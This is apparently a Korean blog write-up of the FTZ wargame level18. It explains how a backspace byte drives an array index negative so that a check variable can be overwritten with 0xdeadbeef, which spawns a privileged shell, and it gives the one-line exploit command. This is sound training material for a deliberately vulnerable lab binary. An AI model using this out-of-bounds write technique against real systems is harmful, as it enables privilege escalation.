FTZ level18 write up

포너블 2020. 3. 20. 17:56

level18에 hint 에 있는 코드들이다. 코드가 너무 길어서 잘릴 것 같아서 이번에는 이렇게 가지고 왔다.

위에서부터 천천히 해석해보자.

      if(count >= 100)

        printf("what are you trying to do?\n");

      if(check == 0xdeadbeef)

        shellout();
        
              else

        {

          FD_ZERO(&fds);

          FD_SET(STDIN_FILENO,&fds);



          if(select(FD_SETSIZE, &fds, NULL, NULL, NULL) >= 1)

            {

              if(FD_ISSET(fileno(stdin),&fds))

                {

                  read(fileno(stdin),&x,1);

count가 100이상이면 "what are you trying to do?를 출력하고

만약 check 가 0xdeadbeef가 맞으면 shellout을 실행시켜라

아니면 입력을 받고 입력값에서 1바이트를 가져와라.

 

*select() 다중 입출력함수

더보기

select() 함수는 fd 가 입출력을 수행할 준비가 되거나 정해진 시간이 결과할 때까지 차단된다.

 자신이 생성한 데이터가 수신되었는지 또는 연결해서 주고 받던 소켓이 종료되었는지 체크하기 위해서 사용한다

예를 들어 fd_set이라는 구조체를 사용하여 소켓의 그룹을 구성해야 한다.

select 함수를 이용하려면 FD_로 시작하는 매크로 함수를 공부해야 한다.

FD는 보통 4바이트 크기의 정수로 구성되어있다.

FD_setsize? fd집합의 크기. 즉 이 그룹에 포함 가능한 소켓의 최대 개수

FD_ISSET? fd_set으로 선언된 rfds변수에 특정 fd값이 설정되어있는지 확인할 떄 사용. 예를 들어 fd값이 5인 경우 rfds변쉥 5값에 해당하는 비트가 1이 되어있는지 확인하는 작업을 수행한다.

참고 : https://blog.naver.com/tipsware/220810795410

select() 함수는 fd 가 입출력을 수행할 준비가 되거나 정해진 시간이 결과할 때까지 차단된다.

 자신이 생성한 데이터가 수신되었는지 또는 연결해서 주고 받던 소켓이 종료되었는지 체크하기 위해서 사용한다

예를 들어 fd_set이라는 구조체를 사용하여 소켓의 그룹을 구성해야 한다.

select 함수를 이용하려면 FD_로 시작하는 매크로 함수를 공부해야 한다.

FD는 보통 4바이트 크기의 정수로 구성되어있다.

FD_setsize? fd집합의 크기. 즉 이 그룹에 포함 가능한 소켓의 최대 개수

FD_ISSET? fd_set으로 선언된 rfds변수에 특정 fd값이 설정되어있는지 확인할 떄 사용. 예를 들어 fd값이 5인 경우 rfds변쉥 5값에 해당하는 비트가 1이 되어있는지 확인하는 작업을 수행한다.

 

참고 : https://blog.naver.com/tipsware/220810795410

 

fd_set, FD_SET, FD_ZERO에 대하여

소켓 프로그램을 하다 보면 자신이 생성한 소켓에 데이터가 수신되었는지 또는 연결해서 데이터를 주고 받...

blog.naver.com

 

 

 

                  switch(x)

                    {

                      case '\r':

                      case '\n':

                        printf("\a");

                        break;

                      case 0x08:

                        count--;

                        printf("\b \b");

                        break;

                      default:

                        string[count] = x;

                        count++; 

                        break;

                     }

 

그1바이트의 값이 0x08이면 count 값을 1씩 빼고

아니라면 string[count]에 값을 넣고 1증가해라

 

void shellout(void)

{

  setreuid(3099,3099);

  execl("/bin/sh","sh",NULL);

}

 

level19의 seturid와 실행하는 쉘

 

count변수가 0x08입력이 들어오면 1감소하는데

배열의 인덱스가 계속 감소하여 음수가 된다면 string의 시작주소보다 더 낮은주소에 접근하게 되어 앞의 메모리에 접근이 가능하게 된다.

 

<main+91>에서 deadbeef가 맞는지 검사하고 있다.

ebp-104에서 check라는 것을 알 수 있다.

 

밑에 더 살펴보면

 

 

<main +499 >를 통해 string에서부터 ebp까지의 거리가 100임을 알 수 있다.

 

그러므로 string변수에서 check 까지의 거리는 -4이다

 

그러니까 string버퍼에 0x08을 입력해서 count를 음수로 만들고

ebp-104에 deadbeef를 넣으면 level19의 패스워드 값을 얻을 수 있다

 

 

0x08을 4번입력해서 count를 -4로 만들어준 후에 deadbeef 넣으면 되겠다!

 

코드 : (python -c "print '\x08'*4 + '\xef\xbe\xad\xde'";cat) | ./attackme

 

level19의 패스워드 값을 얻었다!

 

* inc ? 피연산자에 1을 더한다.
연산 결과에 따라 ZF(Zero Flag)나 OF(Overflow Flag)가 세트될 수 있다.출처: https://p3ace.tistory.com/37 [:: 피스하모니 P3ace...]

 

 

 

+코드 분석하다 어려워서 그냥 다른 사람 블로그 참고했는데 
https://leeggoggal.tistory.com/28
이분이랑 
https://mandu-mandu.tistory.com/41?category=692689
이분 블로그가 정리가 잘 되어있는 것 같다.
+https://c0wb3ll.tistory.com/

 

 

 

'포너블' 카테고리의 다른 글

FTZ level19 write up  (0) 2020.03.20
FTZ level17 write up  (0) 2020.03.17
FTZ level16 write up  (0) 2020.03.17
FTZ level15 write up  (0) 2020.03.16
FTZ level14 write up  (0) 2020.03.16

설정

트랙백

댓글